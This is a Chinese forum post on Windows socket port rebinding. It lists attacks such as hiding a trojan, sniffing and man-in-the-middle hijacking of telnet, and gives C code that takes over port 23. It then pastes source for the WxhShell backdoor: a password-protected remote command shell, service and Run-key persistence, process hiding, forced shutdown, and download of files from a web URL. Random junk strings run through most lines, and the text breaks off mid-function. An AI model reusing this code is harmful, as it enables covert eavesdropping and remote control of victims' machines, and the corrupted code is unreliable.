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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7" Dw4}T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F~W*"i+EZ  
W`6nMFg  
  saddr.sin_family = AF_INET; VIAj]Ul  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  EvTdwX.H  
e/#4)@]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JS({au  
WQiEQ>6(t(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .LnXKRd{  
*% Vd2jW/  
  这意味着什么?意味着可以进行如下的攻击: &Vnet7LfU  
@iC!Q>D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J>!p^|S{  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Qu~iB(Y  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =2J+}ac  
1MfRF v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P)>WIQSr  
sl |S9Ix  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o)"}DeV$&  
84)S0Y8w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j(/"}d3osm  
RTLu]Bry  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t(p  
dL6sb;7R  
  #include *=^_K`y  
  #include I[tU}ojP  
  #include +vDT^|2SF  
  #include    }-: d*YtK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   () b0Sh=  
  int main() 1PLKcU  
  { ={={ W  
  WORD wVersionRequested; \ {"8(ELX  
  DWORD ret; nHyWb6  
  WSADATA wsaData; G\jr^d\  
  BOOL val; ]y.,J  
  SOCKADDR_IN saddr; EU>@k{Qt  
  SOCKADDR_IN scaddr; -_>c P  
  int err; 7-W(gD!`  
  SOCKET s; w>/KQ> \"  
  SOCKET sc; rd%3eR?V  
  int caddsize; d 'x;]#S  
  HANDLE mt; 8V=I[UF.1?  
  DWORD tid;   E<-}Jc1  
  wVersionRequested = MAKEWORD( 2, 2 ); 4zJ9bF4  
  err = WSAStartup( wVersionRequested, &wsaData ); "/ @ ;6   
  if ( err != 0 ) { P4R.~J ;8  
  printf("error!WSAStartup failed!\n"); /xrt,M@  
  return -1; |])%yRAGQ  
  } RD{jYr;  
  saddr.sin_family = AF_INET; 3Y=T8Gi#  
   OjrQ[`(E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y<a/(`  
[h%_`8z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7F}I.,<W  
  saddr.sin_port = htons(23); rrbCg(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -W+dsZ Sv8  
  { Srol0D I  
  printf("error!socket failed!\n"); Z U f<s?  
  return -1; 6u8`,&U  
  } ~aA+L-s|  
  val = TRUE; (:-DuUt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [m}x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6\~m{@  
  { oY+RG|j@  
  printf("error!setsockopt failed!\n"); A{&Etu(K  
  return -1; b*P \a  
  } pxDZ}4mOh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &(Xp_3PO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U?xl%qF`)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G>#L  
k E6\G}zj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #cjB <APY  
  { #BT= K  
  ret=GetLastError(); UT[KwM{y  
  printf("error!bind failed!\n"); = 2My-%i  
  return -1; {oz04KGsH  
  } v oC< /}E  
  listen(s,2); Ij#%Qu  
  while(1) Pw$'TE}  
  { wx<5*8zP  
  caddsize = sizeof(scaddr); 6"ZQN)7  
  //接受连接请求 1<bSHn9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z^Oiwzo  
  if(sc!=INVALID_SOCKET) <@;eN&  
  { jUBlIVl]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H26 j]kY  
  if(mt==NULL) x%cKTpDh!  
  { %pTbJaM\U  
  printf("Thread Creat Failed!\n"); 0FEb[+N  
  break; QbOm JQ  
  } QD\S E  
  } 6@Eip[e  
  CloseHandle(mt); .z+QyNc:  
  } )I!l:!Ij*D  
  closesocket(s); -#)xe W.d  
  WSACleanup(); p9l&K/  
  return 0; \%^<Ll  
  }   H3 `%#wQ0j  
  DWORD WINAPI ClientThread(LPVOID lpParam) L6l~!bEc  
  { m#%5H  
  SOCKET ss = (SOCKET)lpParam; jZm1.{[>  
  SOCKET sc; cC4*4bMm  
  unsigned char buf[4096]; DPy"FQYZb  
  SOCKADDR_IN saddr; %9Ulgs8=  
  long num; 9J2% 9,^  
  DWORD val; FUq@ dUv  
  DWORD ret; 9W'#4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .lTGFeJqZ4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p(f)u]1`  
  saddr.sin_family = AF_INET; @X1>Wv|[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "b -KVZ  
  saddr.sin_port = htons(23); WGp81DNS|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  0m*0I >  
  { *pI3"_  
  printf("error!socket failed!\n"); 2"V?+Hhz  
  return -1; $9Z8P_^.0(  
  } eDTEy;^o  
  val = 100; mE^6Zu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <7^_M*F9  
  { ,YH^jc  
  ret = GetLastError(); hnE@+(d=qJ  
  return -1;  $7|0{Dw  
  } B;G|2um:$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oleRQ=  
  { LX*T<|c`'  
  ret = GetLastError(); `"-)ObOj}  
  return -1; OmKT}D~ 4  
  } ShGR !r<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HESwz{eSS  
  { }>)"!p;t_  
  printf("error!socket connect failed!\n"); wPqIy}-  
  closesocket(sc); Qj 0@^LA  
  closesocket(ss); ZH&%D*a&  
  return -1; EZBk;*= B  
  } c#CX~  
  while(1) f}XUxIQ-<  
  { B8w 0DJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $:mCyP<y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }.` ycLW'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . 1?AU 6\  
  num = recv(ss,buf,4096,0); WOgbz&S?J  
  if(num>0) v\\Z[,dK  
  send(sc,buf,num,0); 9LCV"xgX  
  else if(num==0) 6aMqU?-  
  break; U_M> Q_r(  
  num = recv(sc,buf,4096,0); xj%h-@o6  
  if(num>0) b.ow0WYe  
  send(ss,buf,num,0); ,)oUdwR k  
  else if(num==0) <=jE,6_|  
  break; fkk\Q>J9!=  
  } $!KV]]  
  closesocket(ss); T4\,b  
  closesocket(sc); trgj]|?M  
  return 0 ; DSET!F;PG  
  } Kw-E%7gh4c  
^5"s3Qn  
W@pVP4F0xM  
========================================================== 2/>AmVM  
,v)@&1Wh:  
下边附上一个代码,,WXhSHELL .sjM$#V=  
z@<`]  
========================================================== 0v',+-  
&XgB-}^:  
#include "stdafx.h" ,{:5Z:<|  
Fwho.R-.  
#include <stdio.h> -Z6ot{%  
#include <string.h> \Sg&Qv`  
#include <windows.h> #l:qht  
#include <winsock2.h> u49/LtB\  
#include <winsvc.h> roL~r`f`  
#include <urlmon.h> JH<q7Y6!y  
.c~;/@{  
#pragma comment (lib, "Ws2_32.lib") 5O*. qp?  
#pragma comment (lib, "urlmon.lib") c%i/ '<Afr  
Eiz\Nb  
#define MAX_USER   100 // 最大客户端连接数 LFg<j1Gk`  
#define BUF_SOCK   200 // sock buffer Pme`UcE3H  
#define KEY_BUFF   255 // 输入 buffer _=4Dh/Dv  
yfuvU2nVH  
#define REBOOT     0   // 重启 y;#p=,r  
#define SHUTDOWN   1   // 关机 Isoqs(Oi  
<qHwY.  
#define DEF_PORT   5000 // 监听端口 s u![ST(  
wm@1jLjrQ  
#define REG_LEN     16   // 注册表键长度 WWq)Cw R  
#define SVC_LEN     80   // NT服务名长度 0W]Wu[k  
d [K56wbpx  
// 从dll定义API 9[$g;}w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kw925@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \]y$[\F>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JLc\KVmF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ak>RLD25_  
Rn-L:o@?  
// wxhshell配置信息 sV3/8W13  
struct WSCFG { ^HC! my  
  int ws_port;         // 监听端口 8+gSn  
  char ws_passstr[REG_LEN]; // 口令 i,* DWD+  
  int ws_autoins;       // 安装标记, 1=yes 0=no #lV&U  
  char ws_regname[REG_LEN]; // 注册表键名 m,)Re8W-  
  char ws_svcname[REG_LEN]; // 服务名 (Dc dR:/=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N}.h_~6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p3sz32RX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a>""MC2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HykJ}ezX4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B`T9dL[E4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q"QrbU  
5#WZXhlc}  
}; =EV8~hMyqh  
B;?a. 81~  
// default Wxhshell configuration 9$#2+G!J  
struct WSCFG wscfg={DEF_PORT, V3F2Z_VH2  
    "xuhuanlingzhe", #4~Ivj  
    1, bumS>:  
    "Wxhshell", !m]76=@  
    "Wxhshell", >I!dJH/gj  
            "WxhShell Service", k]I<%  
    "Wrsky Windows CmdShell Service", 6=|Q>[K  
    "Please Input Your Password: ", 64>Zr  
  1, !cWKY \lpv  
  "http://www.wrsky.com/wxhshell.exe", ]lm9D@HMC  
  "Wxhshell.exe" o7hjx hmC  
    }; sQTW?KA-Te  
n;2W=N?y  
// 消息定义模块 Yckl,g_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [.3M>,)+-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5n?fZ?6(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GT#iY*  
char *msg_ws_ext="\n\rExit."; }bjTb!  
char *msg_ws_end="\n\rQuit."; *-` /A  
char *msg_ws_boot="\n\rReboot..."; K<\TF+  
char *msg_ws_poff="\n\rShutdown..."; >f}rM20Vm  
char *msg_ws_down="\n\rSave to "; c AIS?]1  
W 4 )^8/  
char *msg_ws_err="\n\rErr!"; O:k@'&  
char *msg_ws_ok="\n\rOK!"; ]6 }|X#_  
F<G.!Y8!&  
char ExeFile[MAX_PATH]; z[CCgs&vqe  
int nUser = 0; `[CXxp  
HANDLE handles[MAX_USER]; /UM9g+Bb  
int OsIsNt; W}JJaZR*X  
njvmf*A?S  
SERVICE_STATUS       serviceStatus; 'B6D&xn'%&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O+z-6:`  
%Z.>)R4  
// 函数声明 qmJFXnf  
int Install(void); %o*afd  
int Uninstall(void); >W 8!YOc  
int DownloadFile(char *sURL, SOCKET wsh); .X YSO  
int Boot(int flag); QeU>%qKT  
void HideProc(void); BA L!6  
int GetOsVer(void); W\FKA vS  
int Wxhshell(SOCKET wsl); WS2TOAya)  
void TalkWithClient(void *cs); YwHnDVV+  
int CmdShell(SOCKET sock); .B>|>W O  
int StartFromService(void); 8Ck:c45v  
int StartWxhshell(LPSTR lpCmdLine); %~$4[,=  
D|_}~T>;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DF9Br D0{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rZGA9duy  
=cqaA^HQL  
// 数据结构和表定义 Mt-y{*6!k  
SERVICE_TABLE_ENTRY DispatchTable[] = l ^$$d8  
{ &S c0l/  
{wscfg.ws_svcname, NTServiceMain}, "T#c#?  
{NULL, NULL} h`Y t4-Y  
}; ?Yz.tg  
Fda<cS]  
// 自我安装 )lH?XpfTjm  
int Install(void) 5.5dB2w  
{ scN}eg:5  
  char svExeFile[MAX_PATH]; 2lXsD;[  
  HKEY key; "52wa<MV J  
  strcpy(svExeFile,ExeFile); J& yDX>  
!tX14O~B-  
// 如果是win9x系统,修改注册表设为自启动 A\k-OP]  
if(!OsIsNt) { lzl4pnj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ITq+Hk R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Auv/w}zrr  
  RegCloseKey(key); m,]Tl;f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)u_m h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @{XN}tWDOp  
  RegCloseKey(key); (7-K4j`   
  return 0; QAcvv 0Hv  
    } }1Wo#b+  
  } a?Q~C<k  
} | ql!@M(p  
else { 9Q].cDe[  
RwT.B+Onuy  
// 如果是NT以上系统,安装为系统服务 vJXd{iQE@C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H+_oK ]/  
if (schSCManager!=0) x"U/M ?l  
{ 213D{#2  
  SC_HANDLE schService = CreateService s9O] tk  
  ( 9-pd{Z~l  
  schSCManager, pmHd1 Wub  
  wscfg.ws_svcname, QIo|t!7F  
  wscfg.ws_svcdisp, 7Zr jU {  
  SERVICE_ALL_ACCESS, <%) :'0q&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u%v^(9z  
  SERVICE_AUTO_START, s7df<dBC  
  SERVICE_ERROR_NORMAL, h'T\gF E%  
  svExeFile, Re,0RM\  
  NULL, ^!Bpev  
  NULL, nE::9Yh8z  
  NULL, (}] 74Lc  
  NULL, "ZT=[&2  
  NULL v-OGY[|97  
  ); $0cMrf@  
  if (schService!=0) =oiY'}%(i  
  { " P0o)g+{  
  CloseServiceHandle(schService); z36nyo  
  CloseServiceHandle(schSCManager); GpxGDN3?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L{ .r8wSrI  
  strcat(svExeFile,wscfg.ws_svcname); 9YB~1 M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \^':(Gu4o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7+=j]+O  
  RegCloseKey(key); MS,H12h  
  return 0; bYG}CO  
    } L\hPw{)  
  } `1pri0!  
  CloseServiceHandle(schSCManager); )?Jj#HtW  
} /?2yo{F g  
} %;^6W7  
f\/};a  
return 1; 7_q"%xH  
} Uf_w o  
a ,W5T8  
// 自我卸载 "@`M>)*o  
int Uninstall(void) 0ZPPt(7  
{ $Q]`+:g*}  
  HKEY key; ^_2Ki   
Z<ke!H  
if(!OsIsNt) { /Tv< l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AO^F6Y/  
  RegDeleteValue(key,wscfg.ws_regname); Z AZQFr'*  
  RegCloseKey(key); 4p %`Lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $OjsaE %  
  RegDeleteValue(key,wscfg.ws_regname); j-yD;N  
  RegCloseKey(key); %y8w9aGt  
  return 0; G)b]uX  
  } T5Pc2R  
} V @d:n  
} ;'p0"\SV  
else { =X% D;2  
|k?,4 Pk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qy4AuMU2  
if (schSCManager!=0) ;&:UxmTf  
{ }8x[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A$1pMG~as  
  if (schService!=0) _^&oNm1  
  { NK"y@)%0  
  if(DeleteService(schService)!=0) { G_dia6  
  CloseServiceHandle(schService); UDp"+nS  
  CloseServiceHandle(schSCManager); K8e>sU.  
  return 0; @h ^5*M  
  } r>osa3N'  
  CloseServiceHandle(schService); <_42h|-  
  } Q^0K8>G^  
  CloseServiceHandle(schSCManager); c}rRNS$F  
} |mci-ZT  
} 5|H?L@_9  
vz@QGgQ9~2  
return 1; ~Bu~?ZJmd  
} ugMJ}IGq  
s'/.ea V_  
// 从指定url下载文件 S:^Q(w7  
int DownloadFile(char *sURL, SOCKET wsh) 4I,@aj46  
{ }m0Lr:vq<r  
  HRESULT hr; _Zb_9&  
char seps[]= "/"; '| Ag,x[  
char *token; sy>Pn  
char *file; q$EVd9aN  
char myURL[MAX_PATH]; w8@MUz}/#  
char myFILE[MAX_PATH]; XtQ3$0{*%  
e@ F& /c  
strcpy(myURL,sURL); y/kCzDT,  
  token=strtok(myURL,seps); kMwt&6wS  
  while(token!=NULL) =]7 \--  
  { r-[z!S  
    file=token; (<8T*Xo  
  token=strtok(NULL,seps); )FU4iN)ei  
  } ^z)lEO  
li;P,kg$  
GetCurrentDirectory(MAX_PATH,myFILE); )Hev -C"  
strcat(myFILE, "\\"); IXz ad  
strcat(myFILE, file); ,QKG$F  
  send(wsh,myFILE,strlen(myFILE),0); [3/P EDkw  
send(wsh,"...",3,0); b*p,s9k7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); av`b8cGg  
  if(hr==S_OK) zb;2xTH+  
return 0; ;q$<]X_S)}  
else 6] <?+#uQ  
return 1; [Q^kO;  
w)!(@}vd  
} BE3~f6 `  
CTPn'P=\C  
// 系统电源模块 );,#H`'  
int Boot(int flag) fcV/co_S6  
{ S3 x:]E:   
  HANDLE hToken; &Kjqdp  
  TOKEN_PRIVILEGES tkp; A= ,q&  
K-vso4@BJ  
  if(OsIsNt) { }i/{8Ou W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Fi7|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ex@#!fz{%  
    tkp.PrivilegeCount = 1; w#JF7;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]8H;LgM2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;M'R/JlUN  
if(flag==REBOOT) { *[vf47)r!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oh:t ex<  
  return 0; )hQ`l d7B  
} ]%mg(&p4  
else { YY]LK%-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i]1[eGF  
  return 0; )<3WVvB  
} 3>S.wyMR4  
  } -Mv`|odY/  
  else { x80~j(uVf  
if(flag==REBOOT) { "`&?<82  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZS}2(t   
  return 0; M5%xp.B  
} 7Y!^88,f.  
else { lezdJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F.@yNr"  
  return 0; y ruN5  
} 'z!I#Y!Y  
} BJ&>'rc  
/>$)o7U`+  
return 1; if `/LJsa  
} s';jk(i3  
^ro?.,c T  
// win9x进程隐藏模块 S++}kR);  
void HideProc(void) ZZeqOu7^  
{ u\Xi]pZ@X]  
moc_}(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); my04>6j0  
  if ( hKernel != NULL ) *, {b]6v  
  { n P69W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F*]AjD-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $jw!DrE  
    FreeLibrary(hKernel); z:fd'NC  
  } Ay2|@1e  
*1elUI2Rg  
return; !\!fd(BN  
} ?m~;*wn%  
Ke\?;1+  
// 获取操作系统版本 1"!<e$&$X  
int GetOsVer(void) Z NuyGo;  
{ 7p~@S4  
  OSVERSIONINFO winfo; 2&=;$2?}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )@Bt[mfrVD  
  GetVersionEx(&winfo); 1x\%VtO>\b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b"f4}b  
  return 1; MKQa&Dvw  
  else }"3L>%Q5  
  return 0; HD`Gi0  
} R)<>} y  
F oEZ1O<  
// 客户端句柄模块 Qp-nr]  
int Wxhshell(SOCKET wsl) 778L[wYe  
{ p?d Ma_ g  
  SOCKET wsh; v#nFPB=z  
  struct sockaddr_in client; [u-~<80  
  DWORD myID;  _@d.wfM  
!E$S&zVMQ  
  while(nUser<MAX_USER) 55yP.@i9J  
{ ^@tn+'.  
  int nSize=sizeof(client); =fRP9`y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -`Z5#8P  
  if(wsh==INVALID_SOCKET) return 1; xXHz)w  
{N _v4})  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,ciNoP*-~%  
if(handles[nUser]==0) Z0-W%W  
  closesocket(wsh); ,a?em'=  
else WQ6E8t)  
  nUser++; bggSYhJ?\#  
  } os#j;C]l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r]8B6iV  
?EYF61? rw  
  return 0; K` U\+AE  
} 1{u;-pg  
qOk4qbl[  
// 关闭 socket wN*e6dOF  
void CloseIt(SOCKET wsh) N5~g:([k  
{ M g;;o  
closesocket(wsh); R;,&CQUl  
nUser--; *D|6g| Hb  
ExitThread(0); h`5au<h<  
} Q_@ Z.{  
~ae68&L6  
// 客户端请求句柄 D* Vr)J  
void TalkWithClient(void *cs) * y`^Fc  
{ ?+dI/jB4X  
Y6g[y\*t  
  SOCKET wsh=(SOCKET)cs; Que)kjp  
  char pwd[SVC_LEN]; SYl :X   
  char cmd[KEY_BUFF]; iv56zsR  
char chr[1]; KiCZEA  
int i,j; 2-{8+*_'  
JU"!qXQr  
  while (nUser < MAX_USER) { (*hA0&n  
Jk(b=j  
if(wscfg.ws_passstr) { 5 bMVDw/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6,oi(RAf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a2x2N_\=/D  
  //ZeroMemory(pwd,KEY_BUFF); i?mDR$X:  
      i=0; 6!+"7r6  
  while(i<SVC_LEN) { ZtB0:'o;  
]C]tLJ!M  
  // 设置超时 OlV>zam  
  fd_set FdRead; 5*4P_q(AxD  
  struct timeval TimeOut; TmO\!`  
  FD_ZERO(&FdRead); T0aK1Lh  
  FD_SET(wsh,&FdRead); 'kYV}rq;l  
  TimeOut.tv_sec=8; *]F3pP[  
  TimeOut.tv_usec=0; 3>?ip;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g#Yqw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~1}NQa(  
vwP516EM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~;U!?  
  pwd=chr[0]; &_!BMzp4  
  if(chr[0]==0xd || chr[0]==0xa) { >~XX'}  
  pwd=0; '+-R 7#  
  break; yqCy`TK8  
  } U,g!KN3P  
  i++; />+JK5  
    } ^DIN(0u)  
T@k&YJ  
  // 如果是非法用户,关闭 socket t6 js@Ih  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :*Ckq~[Hg  
} M@csB.'  
4W^0K|fq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +IJpqFH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s{A-K5S  
^\_`0%`>  
while(1) { >-oa`im+  
[[TB.'k  
  ZeroMemory(cmd,KEY_BUFF); xazh8X0P  
zwAuF%U  
      // 自动支持客户端 telnet标准   9X=#wh,q  
  j=0; 2]Y (<PC  
  while(j<KEY_BUFF) { {|> ~#a49h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S;*,V |#QD  
  cmd[j]=chr[0]; >"ZTyrK  
  if(chr[0]==0xa || chr[0]==0xd) { +Mg^u-(A  
  cmd[j]=0; <pi q?:ac  
  break; )5]z[sE  
  } I,?bZ&@8  
  j++; }eB\k,7L  
    } i?|K+"=D  
:B"'49Q`  
  // 下载文件 9E (>mN  
  if(strstr(cmd,"http://")) { cL=P((<K?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RV&2y=eb  
  if(DownloadFile(cmd,wsh)) G#l zB`i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?F`lI""E  
  else H&%=>hyX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fpoH7Jd V  
  } J-u,6c  
  else { t,MK#Ko  
i|=}zR  
    switch(cmd[0]) { Sw(%j1uL  
  '}XW  
  // 帮助 c*\^6 1T  
  case '?': { yv'mV=BMJ!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k&^Megcb  
    break; u5idH),<  
  } `cZG&R  
  // 安装 uomFE(  
  case 'i': { '^P Ud`  
    if(Install()) w*bVBuX s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<i~XN0g  
    else o AQ92~b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0.+iVOz+Y  
    break;  eKu&_q  
    } iUl{_vb  
  // 卸载 XFBk:~}sI  
  case 'r': { oWJ}]ip  
    if(Uninstall()) ifBJ$x(B.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6aK%s{%3s  
    else hefV0)4K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %\- +SeC  
    break; ]enqkiS  
    } !!` zz  
  // 显示 wxhshell 所在路径 2$3BluK  
  case 'p': { Mzb_o2^(  
    char svExeFile[MAX_PATH]; O;,k~  
    strcpy(svExeFile,"\n\r"); sIELkF?.  
      strcat(svExeFile,ExeFile); ClfpA?vv  
        send(wsh,svExeFile,strlen(svExeFile),0); ?xeq*<qfI  
    break; 2TAy'BB;)  
    } _q8s 7H  
  // 重启 I>P</TE7  
  case 'b': { &[3!Lk`.0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EA8(_}  
    if(Boot(REBOOT)) %:oGyV7a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BkO"{  
    else { j^64:3  
    closesocket(wsh); t+?\4+!<  
    ExitThread(0); _$Fi]l!f  
    } [;X YT  
    break; ~I'Z=Wo  
    } *X<De  
  // 关机 bNL E=#ro  
  case 'd': { r&TxRsg{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !`aodz*PO  
